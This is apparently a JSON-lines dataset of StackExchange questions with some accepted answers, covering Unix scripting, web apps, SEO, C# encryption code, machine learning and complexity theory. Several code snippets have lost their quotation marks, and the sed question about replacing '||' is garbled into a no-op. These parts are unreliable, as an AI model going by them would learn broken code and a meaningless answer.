{  "id": "_unix.312062"  , "question": "I'm running a Java server program that needs to be started with a shell script. The script needs to start the Java program again if it happens to crash or be stopped manually.I found this script online for it while truedo   java -jar program.jardoneBut that didn't seem to work on my Debian 7 box; it just shows:./start.sh: line 4: syntax error: unexpected end of fileThat was just posted as a Linux script. How can I make it work in Debian?Oh yeah and it's important for the program to be started from the script because I need to access its console regularly, unless there's a way for it to not be a script but still let me access its console."  , "title": "On Debian, how do I make a script that will rerun a Java program after it has stopped or crashed?"  , "tags": "debian;java;startup"  } 
{  "id": "_webapps.70501"  , "question": "Google claims that they have allowed LaTex equations in Google Docs. According to the help page, the option should appear under Insert Equation. Doesn't seem to be the case:So what am I doing wrong?"  , "title": "I can't seem to be able to use Google LaTex integration"  , "tags": "google spreadsheets"  , "accepted_answer": "Thats because the respective help page is referring to Google Docs (the text editor), not Google Sheets. And you are trying to insert it in a Google Sheets document."  } 
{  "id": "_datascience.16023"  , "question": "This is actually about scientific writing (and I'm not sure which Exchange site I should ask), a very simple one.There are some group-wise comparisons in data analysis (in general), and in some cases, it is impossible to change group assignment. For example, you can put someone in a real drug group or a placebo group. But you cannot put someone in a male group or a female group. Then in this case, if you find a significant group difference, does it sound okay for you to say increase or decrease in that statistic? I find it very strange and think it's wrong because the condition (or explanatory variable) cannot be changed, so I have been avoiding using 'increase/decrease' for group-wise statistics.But (obviously) I'm not a native English speaker nor a highly experienced reader. So I wonder how the native writers think, and why they keep using 'increase' for group differences."  , "title": "Increase or decrease in a between-subject design"  , "tags": "statistics"  } 
{  "id": "_webmaster.107016"  , "question": "There was a time when buying snapped/old expired domains with a lot of backlinks and just 301-redirect them to your website was a thing.This was risky, black hat and no longer work. Non-expired domains is another story - quote from Matt Cutts:There are some domain transfers ( e.g. genuine purchases of companies)  where it can make perfect sense for links to transfer. But at the same  time it wouldnt make sense to transfer the links from an expired or  effectively expired domain, for example. Google (and probably all  search engines) tries to handle links appropriately for domain  transfers.The sort of stuff our systems would be designed to detect would be  things like someone trying to buy expired domains or buying domains  just for links.So Google may transfer PageRank when company A is acquiring company B and the two websites merges.What about websites that isn't owned by any company and just run by a private individuals? For example: A big backcountry skiing e-commerce website with thousands customers each month is looking for ways to increase it's backlink profile. There happens to be a blogger that have a great avalanche information and risks-website. Frequent updates, great content (that would interest many customers) and excellent and strong backlinks from many high authority domains. If the e-commerce website would purchase the blog, move all content to their website and make corresponding 301-redirects - would that be considered a genuine domain transfer?And could this be scaled - there might also be a great blog about backcountry skiing history, a backcountry skiing gear review website, a website with a interactive map - featuring the best backcountry skiing destinations to visit. Would acquiring those websites most likely pass PageRank?Update: I am interested in how Google theoretical can differentiate between company A purchasing and merging company B, versus company A purchase and merging highly relevant blog A, blog B and blog C. Would the blogs likely pass PageRank or not? "  , "title": "Buying and redirecting domains - White Hat Linkbuilding?"  , "tags": "seo;redirects;links;link building"  } 
{  "id": "_unix.182065"  , "question": "I have LibreOffice Writer and OpenOffice Calc installed on my OpenSuSE system.  This is arguably not ideal, but before I fully switch to one or the other, I noticed some strange behaviour when calling oocalc file.ods from the command line.user@host:~> ooffice -calcWarning: -calc is deprecated.  Use --calc instead.user@host:~> oocalcWarning: -calc is deprecated.  Use --calc instead.user@host:~> which oocalc/usr/bin/oocalcuser@host:~> readlink -f `which oocalc`/opt/openoffice4/program/scalcuser@host:~> /usr/bin/oocalcWarning: -calc is deprecated.  Use --calc instead.user@host:~> ls -lth /usr/bin/oo*lrwxrwxrwx 1 root root 30 Jan 30 17:32 /usr/bin/oocalc -> /opt/openoffice4/program/scalc-rwxr-xr-x 2 root root 55 Dec 19 18:06 /usr/bin/ooffice-rwxr-xr-x 2 root root 66 Dec 19 18:06 /usr/bin/oofromtemplate-rwxr-xr-x 2 root root 60 Dec 19 18:06 /usr/bin/ooweb-rwxr-xr-x 2 root root 63 Dec 19 18:06 /usr/bin/oowriteruser@host:~> readlink -f `which oocalc`/opt/openoffice4/program/scalcuser@host:~> /opt/openoffice4/program/scalcThe last of the above commands runs OpenOffice Calc as expected.  When oocalc or ooffice -calc is executed it prints the deprecation warning and then actually opens LibreOffice writer, as its spreadsheet counterpart isn't installed.  My question, though, is how is it possible for oocalc to resolve correctly to the symbolic link but not follow it, and execute ooffice -calc instead?EDIT:The contents of /opt/openoffice4/program/scalc are as follows:cmd=$(cd `dirname $0` && pwd)/sofficeexec $cmd -calc $@"  , "title": "How is This Symbolic Link Not Being Followed?"  , "tags": "symlink;libreoffice;openoffice"  } 
{  "id": "_softwareengineering.302737"  , "question": "Suppose you want to sort your movie collection, from favorite to hated. You apply the rules of some sorting algorithm by asking many questions of the form: Did I like A or B more?It's now sorted, right? Logically, every necessary question was asked to prove that when index(A) < index(B), A > B. But you can show that this is false for at least one pair A and B. Surely, the algorithm should have asked more questions.Opinion is hard to nail down, and if one comparison is off, the whole sorting operation might result in something way off.Which sorting algorithm would you pick to ensure the sorted list won't be too impacted by a bad comparison?"  , "title": "Sorting algorithm that can handle some error"  , "tags": "sorting"  } 
{  "id": "_cogsci.10458"  , "question": "Einstein said once something like creativity is more important than intelligence. Intelligence as it is measured is really one's speed and efficiency at processing information. How one processes the information is the 'province' of creativity. Are there any effective, psychologically-approved tests that measure creativity and ones capacity for interesting or clever creative associations between sets of ideas?"  , "title": "How do cognitive scientists measure creativity?"  , "tags": "measurement;methodology;intelligence;creativity"  } 
{  "id": "_unix.223474"  , "question": "I have a mail server in my ubuntu instance. I have a webserver management FROXLOR and i recieve errors for access denied when i try to login in mail account. The log for this:Aug 16 03:14:33 email dovecot: auth-worker(15140): Error: mysql(127.0.0.1): Connect failed to database (froxlor): Access denied for user 'froxlor'@'localhost' (using password: YES) - waiting for 25 seconds before retryAug 16 03:14:58 email dovecot: auth-worker(15140): Error: mysql(127.0.0.1): Connect failed to database (froxlor): Access denied for user 'froxlor'@'localhost' (using password: YES) - waiting for 125 seconds before retryI check in mysql and says this:mysql> show grants for 'froxlor'@'localhost';+----------------------------------------------------------------------------------------------------------------+| Grants for froxlor@localhost                                                                                   |+----------------------------------------------------------------------------------------------------------------+| GRANT USAGE ON *.* TO 'froxlor'@'localhost' IDENTIFIED BY PASSWORD '*AAAAABBBBBCCCCCDDDDDEEEEE111112222333344444' || GRANT ALL PRIVILEGES ON `froxlor`.* TO 'froxlor'@'localhost' WITH GRANT OPTION                                 |+----------------------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)In google search, the line GRANT USAGE on*.*says the grant is related to NONE permissions.I have tried to REVOKE permissions, DROP user, GRANT ALL with GRANT OPTION, and GRANT ALL PRIVILEGES and always with FLUSH PRIVILEGES; and sometimes using service mysql restart.... but nothing solves this. Someone can help me? thanks in advance"  , "title": "How Remove permission denied with GRANT USAGE ON mysql"  , "tags": "ubuntu;mysql"  } 
{  "id": "_unix.2921"  , "question": "I am using a custom configuration of webmin from www.turnkeylinux.org to run a domain controller (basically Ubuntu Server 8.04/Hardy with Samba installed from the repositories).  I've set things up so that my users have roaming profiles that they can use at any of the windows clients that are joined to the domain.I'd like to set a disk quota for each user that the windows client would enforce, one way or another.  That is, when they login and Samba downloads the users profile information the client, Samba would also send information about disk quota limits.  This way, if the user tries to download too many mp3s for example, windows will complain and prevent the user from using any more space.  I've tried setting a quota on the samba server with the quotas package, but that only creates log off problems when the user goes over their limit.  I think I can use the smbcquotas command in conjunction with windows' own quota tools, but I don't have the foggiest notion on how I might do this. So my question is, can I get windows to enforce quotas on a per user basis using the samba server?"  , "title": "How can I enforce quotas on roaming user profiles using samba?"  , "tags": "samba"  } 
{  "id": "_codereview.21264"  , "question": "My HTML has three divs, each id tagged with the logic behind my object (ma/shadow/traps) which contain 10 div each (every icons), also ID-tagged according to the object. On click, I'm gathering the ID and the parent ID to traverse the object and find the value.It's only possible to raise the value if the pre-requirement is not 0, or if the pre-requirement is false (no pre-req). My problem comes when there are 2 pre-requirements which need to be checked. I check the first one, and if the first meets the pre-req, I check if a second one exists, and check it.There has to be a better way of checking on variables than this nightmare of ifs. It works, but I don't think it's good code at ALL. I'm not looking for a full copy/paste code here, but more for a more efficient logic on how to do what I'm already doing.$(function () {var basemin = 0;var basemax = 20;var skill = {    ma:{    //sample object    },    shadow:{        clawMastery:{            base:0,            preReq:false        }, psychicHammer:{            base:0,            preReq:false        }, burstOfSpeed:{            base:0,            preReq:'clawMastery'        }, weaponBlock:{            base:0,            preReq:'clawMastery'        }, cloakOfShadows:{            base:0,            preReq:'psychicHammer'        }, fade:{            base:0,            preReq:'burstOfSpeed'        }, shadowWarrior:{            base:0,            preReq:'cloakOfShadows',            preReq2:'weaponBlock'        }, mindBlast:{            base:0,            preReq:'cloakOfShadows'        }, venom:{            base:0,            preReq:'fade'        }, shadowMaster:{            base:0,            preReq:'shadowWarrior'        }    },    traps:{    //sample object    }};$('#tree div').bind(contextmenu, function (e) {    e.preventDefault();});$('#tree .tab div').mousedown(function (e) {    var $this = $(this);    $this.attr('unselectable', 'on').css('UserSelect', 'none').css('MozUserSelect', 'none');    var $tab = $this.parent().attr(id);    var $skill = $this.attr(id);    function checkPreReq(e) {        var $preReq = skill[$tab][e]['preReq'];        var $preReq2 = skill[$tab][e]['preReq2'];        alert($preReq);        if ($preReq === false) {            alert('no pre-req');            return true;        } else if ($preReq !== false) {            alert('pre-req1 exists');            if(skill[$tab][$preReq]['base'] > 0) {                alert('pre-req1 higher than 0');                if ($preReq2 === undefined) {                    alert('no second pre-req, go on');                    return true;                } else {                    alert('check second pre-req value');                    if (skill[$tab][$preReq2]['base'] > 0) {                        alert('pre-req2 higher than 0');                        return true;                    } else {                        alert('pre-req2 not met (0)');                        return false;                    }                }            } else {                alert('pre-req1 not met (0)');                return false;            }        } else {            alert('else');            return false        }    }    if (e.which == 1) {        //leftclick        if (skill[$tab][$skill]['base'] < basemax && checkPreReq($skill)) {            skill[$tab][$skill]['base'] += 1;            //$rem_skills -= 1;        }    } else if (e.which == 3) {        //rightclick        if (skill[$tab][$skill]['base'] > basemin) {            skill[$tab][$skill]['base'] -= 1;            //$rem_skills += 1;        }    }    $this.find(.lvl).text(skill[$tab][$skill]['base']);    //$(#output).find(.rem_skills).text($rem_skills);});});"  , "title": "Gathering IDs to find values from objects"  , "tags": "javascript;jquery"  , "accepted_answer": "If there are zero, one, two or possible more prerequirements, generalize their storage. Do not use multiple properties and nested if-else-statements, but an array and a loop.The function should then look like this:function checkPreReq(e) {    var preReqs = skill[tab][e].preReqs;    if (!preReqs)        return true;    for (var i=0; i<preReqs.length; i++) {        var preReq = preReqs[i];        if (skill[tab][preReq].base <= 0)            // failed at least this preReq            return false;    }    // passed all requirements    return true;}"  } 
{  "id": "_cs.79390"  , "question": "I am master student, and I work on project with camera tracking based on sphered Infrared (IR) markers.Now I have to implement multi-camera calibration system with a wand like this one:And I want to find out the details of each step, understand it.My cameras has IR filter, and it helps to discard another information (example of image, it is not a calibration wand on a photo):To find a center of sphere (actually, the projection of sphere will be  ellipse in general case):Find countours;Fit the ellipse to contour;Calculated weighted center of fitted ellipse $\\bar{u}=\\frac{\\sum_{i=1}^{n}\\sum_{j=1}^{m} u_iw_{i,j}}{\\sum_{i=1}^{n}\\sum_{j=1}^{m} w_{i,j}};$$\\bar{v}=\\frac{\\sum_{i=1}^{n}\\sum_{j=1}^{m} v_jw_{i,j}}{\\sum_{i=1}^{n}\\sum_{j=1}^{m} w_{i,j}};$where $u_i$ - x coordinate of pixel, $v_i$ - y coordinate of pixel, $w_{i,j}$ - gray-scale value of pixel.But what do I have to do after that? I just don't know how to connect pinhole camera matrix with this centers. I know that:$\\lambda m_1=K_1[R_1T_1]M$ and $\\lambda m_2=K_2[R_2T_2]M$,where $m_i=[u_i,v_i,1]$ - coordinate on pixel map, $K%$ - intrinsic parameters of camera, $R$ - rotation matrix, $T$ - translation matrix, $M=[X,Y,Z,1]$ - coordinate in 3D world. Also I have to include distortion model, but I miss the chain, which connect general matrix model with these centers of spheres.I also can let, that these 3 IR markers have $Y=0, Z=0$, because they are situated on the line. Is it true assumption?If you refer me to any book, paper or something, I will be very glad of it."  , "title": "Multi-camera calibration wand"  , "tags": "computer vision"  } 
{  "id": "_cs.37583"  , "question": "Is there a difference between the end state of a Turing machine and the halt state? Especially, for example the Busy Beaver 3. It is said that it is with 3 states but there is also a halt. Is the end state $q_2$ or the $halt$? "  , "title": "Difference between Turing machine end state and halt"  , "tags": "terminology;turing machines"  } 
{  "id": "_softwareengineering.312284"  , "question": "Reminder: If you have tips, please remember to put the reason objectively, such as having two distinct SetInt() functions in the same file violates reader expectations that they'll be overloads, and stymies the ability to find the right function with ctrl+F.Problem:Occasionally, low level/dangerous APIs are needed. They should be hidden, but they can't be private. For example, functions to manipulate an additional (not loaded) save data, rename/delete the underlying save data config files on disk, or disallow any future saves from being written to disk. How do I keep the API clean, so normal classes don't see these ancillary methods?In C++, these ancillary functions would be private, and the classes that needed access would be friend classes. In C#, my first thought was to use this:Pseudo-Facade pattern, hiding ancillary methods:// The Save.Foo() functions are used all the time. Concise/simple API needed. public static class Save{    public static void SetInt(string key, int value)    {        Save_Implementation.SetInt(currentSaveData, key, value);    }}public static class Save_Implementation // ancillary or dangerous APIs{    public static void SetInt(object data, string key, int value) { /* ... */ }    public static void StopAllSaves() { /* ... */ }    public static string GetCurrentFilename() { /* ... */ }}This works, but I should related the classes to better clarify that they're part of the same thing. Subclass? Can't, it's static. Namespace? Can't, we need to type these function names with brutal frequency. Nested class? Yes, please.Nested class:public static class Save{    public static void SetInt(string key, int value)    {        Impl.SetInt(currentSaveData key, value);    }    public static class Impl // ancillary or dangerous APIs    {        public static void SetInt(object data, string key, int value) { /* ... */ }        public static void StopAllSaves() { /* ... */ }        public static string GetCurrentFilename() { /* ... */ }    }}That's better, but messier than I'd prefer, since there are duplicated methods in the same file. (I.e., SetInt() calls Impl.SetInt(currentSaveData).) Next I tried splitting it up:Partial classes, with ancillary stuff in a different file:Save.cs:public static partial class Save{    public static void SetInt(string key, int value)    {        Impl.SetInt(currentSaveData, key, value);    }    public static partial class Impl // ancillary or dangerous APIs    {    }}SaveImplementation.cs:public static partial class Save{    public static partial class Impl // ancillary or dangerous APIs    {        public static void SetInt(object data, string key, int value) { /* ... */ }        public static void StopAllSaves() { /* ... */ }        public static string GetCurrentFilename() { /* ... */ }    }}This works, but the IDE isn't smart enough to open the right file when I jump to the definition of Save or Save.Impl.Is there a perfect way to organize this, or will it always be a trade-off?Edit: Save is a drop-in replacement for the game engine's default save functionality, so it's ideal for it to clone the existing API (and be static)."  , "title": "How to separate public and mostly private code in C#? (Friend classes, PIMPL pattern, etc.)"  , "tags": "c#;design patterns;abstraction"  } 
{  "id": "_unix.74460"  , "question": "How can I automatically cleanup failed uploads?PHP is storing them in /tmp and all file names look like phpAbCDeF (basically php followed by 6 characters).I know that I can use the command:find /tmp -name php\\*BUT this also removes other temp files that begins with php (created by other processes) that I don't want to delete.Please suggest a solution. "  , "title": "how to automatically cleanup failed PHP uploads in /tmp?"  , "tags": "cron;php;tmp"  } 
{  "id": "_webmaster.12965"  , "question": "I am NOT asking about getting a business added to Google Places. I'm asking about the 'user reviews' that show up on a Google Places listings. They seem to be pulled out from other review sites, like urbanspoon.com, etc.Is this something that Google does by itself, or is there an API or mechanism to get your site included as a source of reviews? In other words, can I get user reviews from my site something.com included in Google Places/Maps?"  , "title": "Google Maps Reviews: How do I get my site included?"  , "tags": "google maps;seo"  } 
{  "id": "_softwareengineering.230355"  , "question": "Suppose I'm making an algorithm that identifies the subject of a picture. It could be anything that a computer doesn't do that well, but I'm not expecting to get the right answer every time - 80% is fine. Suppose further, that the accuracy of the intermediate steps was also somewhat fuzzy. Is there a way to incorporate unit tests?The option that immediately comes to mind is to add 1 to a tally and every time a 'test' passes, increment the tally. When that finishes, divide by the total and test 'passes/tests > 0.8', but that seems kludgey.EDIT: Thank you all for your kind words and well-reasoned responses. My particular problem, while fuzzy, has nothing to do with pictures, and I'm currently getting about 80% pass. The short term value for me in a testing scheme would be knowing whether small adjustments were more globally beneficial or catastrophic. Long term testing value should be obvious."  , "title": "Unit Testing with an Optimization Problem"  , "tags": "unit testing;statistics"  , "accepted_answer": "As others have noted, TDD primarily focuses on unit-testing.  However, that doesn't mean that black-box integration testing shouldn't be covered.  Nor should it necessarily cover the same deterministic nature of a unit-test.In terms of unit-testingAssuming that nothing in your algorithm is random, it should be possible to write unit-tests for the components of your software that pass 100%.  There should be no reason why you would need to reach an 80% mark.However, these tests are specific to the implementation of the algorithm, by their very nature.  With a given input you would always expect the same output.  You describe the situation in which things will lead towards a match, and the situations in which they would move away from a match.If the algorithm changes, you would expect at least some of the unit tests to change too.In terms of black-box integration testingIt seems that there may be a requirement for a test along the lines of:Given this set of x pictures I expect a positive match rate of 80%I don't care which have a positive match, just that the threshold is reached.You would run each picture through, check if your algorithm gave you a match with the expected result or not.  Keep a tally and score, as per your suggestion.This test would describe the minimum functional requirements of the algorithm and would be entirely independent of the implementation.So yes, this sounds like an entirely appropriate test and a measure of how successful the whole of the software was."  } 
{  "id": "_unix.334083"  , "question": "How can I configure i3 window manager to open new program (window) started in terminal on a specific workspace?"  , "title": "i3 Windows Manager - assigning window to workspace"  , "tags": "terminal;i3;workspaces"  } 
{  "id": "_codereview.8452"  , "question": "I'm trying to symmetrically encrypt some data using C#, and there seems to be a lot of misleading or incorrect information out there on the subject.I created a project on GitHub to act as some sort of standard for encrypting and decrypting data in C#: Encryptamajig on GithubIt would be great if you guys could review the code below for any security holes, but also, please check out the verbiage in the README on Github.  I tried to do some research and be as accurate as possible, but I'm sure that there are some things I'm missing.If you do find anything, don't hesitate to send me a pull request.namespace Encryptamajig{    using System;    using System.Collections.Generic;    using System.Linq;    using System.Text;    using System.Security.Cryptography;    using System.Diagnostics;    using System.IO;    /// <summary>    /// A simple wrapper to the AesManaged class and the AES algorithm.    /// To create a new Key and IV simple new up an AesManaged object and grab the Key and IV from that.    /// Make sure to save the Key and IV if you want to decrypt your data later!    /// </summary>    public class AesEncryptamajig    {        public static byte[] EncryptStringToBytes(string plainText, byte[] key, byte[] iv)        {            // Check arguments.            if (string.IsNullOrEmpty(plainText))                throw new ArgumentNullException(plainText);            if (key == null || key.Length <= 0)                throw new ArgumentNullException(key);            if (iv == null || iv.Length <= 0)                throw new ArgumentNullException(iv);            MemoryStream memoryStream = null;            AesManaged aesAlg = null;            try            {                // Create the encryption algorithm object with the specified key and IV.                aesAlg = new AesManaged();                aesAlg.Key = key;                aesAlg.IV = iv;                // Create an encryptor to perform the stream transform.                var encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);                // Create the streams used for encryption.                memoryStream = new MemoryStream();                using (var cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write))                using (var streamWriter = new StreamWriter(cryptoStream))                {                    //Write all data to the stream.                    streamWriter.Write(plainText);                }            }            finally            {                if (aesAlg != null)                    aesAlg.Clear();            }            // Return the encrypted bytes from the memory stream.            return memoryStream.ToArray();        }        public static string DecryptStringFromBytes(byte[] cipherText, byte[] key, byte[] iv)        {            // Check arguments.            if (cipherText == null || cipherText.Length <= 0)                throw new ArgumentNullException(cipherText);            if (key == null || key.Length <= 0)                throw new ArgumentNullException(key);            if (iv == null || iv.Length <= 0)                throw new ArgumentNullException(iv);            AesManaged aesAlg = null;            string plaintext = null;            try            {                // Create a the encryption algorithm object with the specified key and IV.                aesAlg = new AesManaged();                aesAlg.Key = key;                aesAlg.IV = iv;                // Create a decrytor to perform the stream transform.                var decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);                // Create the streams used for decryption.                using (var memoryStream = new MemoryStream(cipherText))                using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))                using (var streamReader = new StreamReader(cryptoStream))                {                    // Read the decrypted bytes from the decrypting stream                    // and place them in a string.                    plaintext = streamReader.ReadToEnd();                }            }            finally            {                if (aesAlg != null)                    aesAlg.Clear();            }            return plaintext;        }    }}"  , "title": "Symmetrical encryption in C#"  , "tags": "c#;security;aes"  } 
{  "id": "_softwareengineering.249513"  , "question": "I was stumbling through Wikipedia when I came across the entry for FLOPS, specifically the table in this section.The first entry is for a computer from 1961, the comment on the right readsThe 1620's multiplication operation takes 17.7 ms.[46]What is this operation?I assume it means it can do multiplication in 17.7ms? "  , "title": "What is the 1620's multiplication operation?"  , "tags": "performance;history"  , "accepted_answer": "From the previous column in that table, the 1620 is the IBM 1620.https://en.wikipedia.org/wiki/IBM_1620And yes it means multiplying two numbers."  } 
{  "id": "_datascience.16800"  , "question": "Consider the following simple classification problem (Python, scikit-learn)import pandas as pdimport numpy as npimport matplotlib.pyplot as pltfrom sklearn.model_selection import train_test_splitfrom sklearn.ensemble import RandomForestClassifierfrom sklearn.metrics import accuracy_scoredef get_product_data(size):    '''    Given a size(int), sets `log10(size)` features to be uniform     random variables `Xi` in [-1,1] and an target `y` given by 1 if     their product `P` is larger than 0.0 and zero otherwise.     Returns a pandas DataFrame.    '''    n_features = int(max(2, np.log10(size)))    features = dict(('x%d' % i, 2*np.random.rand(size) - 1) for i in range(n_features))    y = np.prod(list(features.values()), axis=0)    y = y > 0.0    features.update({'y': y.astype(int)})    return pd.DataFrame(features)# create random datadf = get_product_data(1000)X = np.array(df.drop(df.columns[-1], axis=1))y = df['y']X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33,                                                         random_state=1)    def predict(clf):    '''    Splits train/test with a fixed seed, fits, and returns the accuracy    '''    clf.fit(X_train, y_train)    return accuracy_score(y_test, clf.predict(X_test))and the following classifiers:foo10 = RandomForestClassifier(10, max_features=None, bootstrap=False)foo100 = RandomForestClassifier(100, max_features=None, bootstrap=False)foo200 = RandomForestClassifier(200, max_features=None, bootstrap=False)Why does predict(foo10)  # 0.906060606061predict(foo100)  # 0.933333333333predict(foo200)  # 0.915151515152give different scores?Specifically, withmax_features=None, all features are selected for each treebootstrap=False, there is no bootstrap of samplesmax_depth=None (default), all trees reach the maximum depthI would expect each tree to be exactly the same. Thus, regardless of how many trees the forest has, the predictions should be equal. Where is the tree's variability coming from in this example?What further parameters would I have to introduce in the RandomForestClassifier.__init__ in such a way that foo* have all the same score?"  , "title": "Why `max_features=n_features` does not make the Random Forest independent of number of trees?"  , "tags": "python;random forest;decision trees"  , "accepted_answer": "Interesting puzzle indeed.The short answer is that you did not pass random_state to RandomForestClassifier.First things first. The DecisionTreeClassifier has some stochastic behavior. For instance, the splitter code iterates through the features at random:        f_j = rand_int(n_drawn_constants, f_i - n_found_constants,                       random_state)Your data is small and comes from the same distribution. What this means is that you'll have a lot of identical purity scores depending on how iteration is done. If you (a) increase your data, or (b) make it more separable, you'll see the problem should ameliorate.To clarify: if the algorithm computes the score for feature A and then computes the score for feature B and it gets score N. Or if it computes first the score for feature B and then for feature A and it gets the same score N, you can see how each decision tree will be different, and have different scores during test, even if the train test is the same (100% if max_depth=None of course). (You can confirm this.)During my exploration of your question, I have produced the following code with my own implementation of a random forest. Since it took me some time, I figured I might as well paste it here. :) Seriously, it can be useful. You can try to disable random_state from my implementation to see what I mean.from sklearn.model_selection import train_test_splitfrom sklearn.ensemble import RandomForestClassifierfrom sklearn.tree import DecisionTreeClassifierfrom sklearn.metrics import accuracy_scoreimport numpy as npclass MyRandomForestClassifier:    def __init__(self, n_estimators):        self.n_estimators = n_estimators    def fit(self, X, y):        self.trees = [DecisionTreeClassifier(random_state=1).fit(X, y)                      for _ in range(self.n_estimators)]        return self    def predict(self, X):        yp = [tree.predict(X) for tree in self.trees]        return ((np.sum(yp, 0) / len(self.trees)) > 0.5).astype(int)    def score(self, X, y):        return accuracy_score(y, self.predict(X))for alpha in (1, 0.1, 0.01):    np.random.seed(1)    print('# alpha: %s' % str(alpha))    N = 1000    X = np.random.random((N, 10))    y = np.r_[np.zeros(N//2, int), np.ones(N//2, int)]    X[y == 1] = X[y == 1]*alpha    Xtr, Xts, ytr, yts = train_test_split(X, y)    print('## sklearn forest')    for n_estimators in (1, 10, 100, 200, 500):        m = RandomForestClassifier(            n_estimators, max_features=None, bootstrap=False)        m.fit(Xtr, ytr)        print('%3d: %.4f' % (n_estimators, m.score(Xts, yts)))    print('## my forest')    for n_estimators in (1, 10, 100, 200, 500):        m = MyRandomForestClassifier(n_estimators)        m.fit(Xtr, ytr)        print('%3d: %.4f' % (n_estimators, m.score(Xts, yts)))    print()Summary: Each DecisionTreeClassifier is stochastic, data such as yours, which is small and comes from the same distribution, are bound to produce slightly different trees, even if the random forest itself is deterministic. You can fix this by passing the same seed to each DecisionTreeClassifier which you can do using random_state=something. RandomForestClassifier also has a random_state parameter which it passes along each DecisionTreeClassifier.EDIT: a previous version of this answer said that RandomForestClassifier was not passing along random_state to each DecisionTreeClassifier. This was wrong, and was removed."  } 
{  "id": "_unix.162296"  , "question": "I have a file that uses | as a delimiter. Some of the records have empty cell as || (nothing inside). I am trying to replace them with || with following sed command:sed -i 's/\\|\\|/\\||/g' fileBut the result wasn't what I expected.Input fileA|B|C|D|||EDesired output:A|B|C|D|||ENote that the beginning and ending of records doesn't have |Any help would be appreciated."  , "title": "How to replace symbol || with || using sed"  , "tags": "bash;shell script;sed"  , "accepted_answer": "Just repeat the substitution until output doesn't change:$ echo 'A|B|C|D|||E' | sed ':X;s/||/||/g;tX'A|B|C|D|||Ewhere:X sets the label Xt X go to label X if s/// was successful"  } 
{  "id": "_cstheory.5673"  , "question": "I am studying the properties of sparse integer programming problems, Would like to know if there are any interesting known problems of that type ?I would define sparse problems as problems that have their output mostly populated by zero values.Thank you "  , "title": "Known sparse integer programming problems"  , "tags": "ds.algorithms;reference request;linear programming;integer programming"  , "accepted_answer": "Probably, this is not an intended answer.  The sparsity constraint can be naturally represented in integer programming. (1) For the binary integer programming (the variables take only values 0 and 1), an extra constraint that the sum of variables is at most $k$ leads to a solution with at most $k$ non-zeros.(2) If your problem is not binary and each variable takes the value in $\\{0,\\ldots,M\\}$, then for each variable $x_i$ we introduce another 0/1 variable $y_i$, and give an extra constraint as $y_i \\leq x_i \\leq M y_i$. This means that $y_i=0$ if and only if $x_i=0$, so the sparsity can be described by means of $y$. Namely, we introduce the sparsity constraint $\\sum y_i \\leq k$ as (1) above. I'm imagining you're to look at an analogue of linear programming (or convex programming) with sparsity constraint to integer programming. However, linear programming with sparsity constraint is no longer linear programming, while integer programming with sparsity constraint is still integer programming (as described above). Their natures are totally different.Or, if you need some interesting examples, I would say any combinatorial optimization problem with cardinality constraint.  That's almost equivalent to a binary integer programming with the constraint that the sum of variables is at most a certain number."  } 
{  "id": "_unix.61512"  , "question": "I see that the find command does not descend into subdirectories when you're using the -prune option.  How do I tell find to recurse into the sub directories, but also ignore some stuff?Specifically, I want to search the /var/lib/foo directory, but exclude any directories with the name .snapshot/.sudo find /var/lib/foo -prune -name '.snapshot'With the above, it properly ignores .snapshot, but doesn't go into the sub dirs. FYI, I'm working in bash on a CentOS 6.3 host."  , "title": "How to have find recurse into subdirectories when using -prune option"  , "tags": "bash;centos;find"  , "accepted_answer": "You need to do:sudo find /var/lib/foo -name '.snapshot' -prune -o -printit will print whatever is not named .snapshot, and if .snapshot is a directory it will also not descend into it.why ?  because -prune is an action (as '-print' is also another action), doing nothing except preventing to go further down in the subdir. And it always return true, so here,  ( -name ... -prune ) is true if and only if the file or dir is named ..., and you you want everything else, hence the -o ( -print )."  } 
{  "id": "_softwareengineering.237482"  , "question": "I have a C# application that is developed with VS 2010 pro. The ultimate version would have a sequence diagram feature.Since I will create my sequence diagram manually, how do I deal with quite long method names?object.createPathForCustomerIDblablablabla_click()Do I just use the method names as they are already given? Use a shorter name in the sequence diagram?I would like it to fit on a A4 page."  , "title": "How to handle long method names in sequence diagram?"  , "tags": "programming practices;uml;sequence diagram"  } 
{  "id": "_unix.223893"  , "question": "Can anyone tell me which is best to use to extract the following data from a html file which was received with curl .<script>document.getElementById(test-summary).innerHTML = <strong>Test Pages:</strong> 1 right, 0 wrong, 0 ignored, 0 exceptions&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I will need only the part where 1 right, 0 wrong, 0 ignored, 0 exceptions . based on the following tag :  document.getElementById(test-summary) . These are some test results and I will need to make some logic based on these . If anyone can give a suggestion on how to do this I would be very grateful . Many thanks,Istvan Caluser "  , "title": "AWK, SED or GREP for extracting data from HTML file"  , "tags": "sed;awk;grep;regular expression;html"  , "accepted_answer": "Not super elegant, but here you go:sed -ne 's/.*test-summary.* \\([0-9][0-9]* right [^&].*exceptions\\)&nbsp.*/\\1/p'For example:$ echo '<script>document.getElementById(test-summary).innerHTML = <strong>Test Pages:</strong> 1 right, 0 wrong, 0 ignored, 0 exceptions&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' | sed -ne 's/.*test-summary.* \\([0-9][0-9]* right,[^&].*exceptions\\)&nbsp.*/\\1/p'1 right, 0 wrong, 0 ignored, 0 exceptions"  } 
{  "id": "_cstheory.21338"  , "question": "It is well-known that palindromes can be recognized in linear time on $2$-tape Turing machines, but not on single-tape Turing machines (in which case the time needed is quadratic). The linear-time algorithm uses a copy of the input, and thus also uses a linear space. Can we recognize palindromes in linear time of a multitape Turing machine, using only  a logarithmic space? More generally, what kind of space-time trade-off is known for palindromes?"  , "title": "How much time to recognize palindromes in logarithmic space?"  , "tags": "cc.complexity theory;time complexity;space complexity;space time tradeoff"  , "accepted_answer": "Using crossing sequences or communication complexity it is simple to derive the tradeoff $T(n)S(n) = \\Omega(n^2)$ for a sequential Turing machine using time $O(T(n))$ and space $O(S(n))$.This result was first obtained by Alan Cobham using crossing sequences in the paper The recognition problem for the set of perfect squares which appeared at SWAT (later FOCS) 1966."  } 
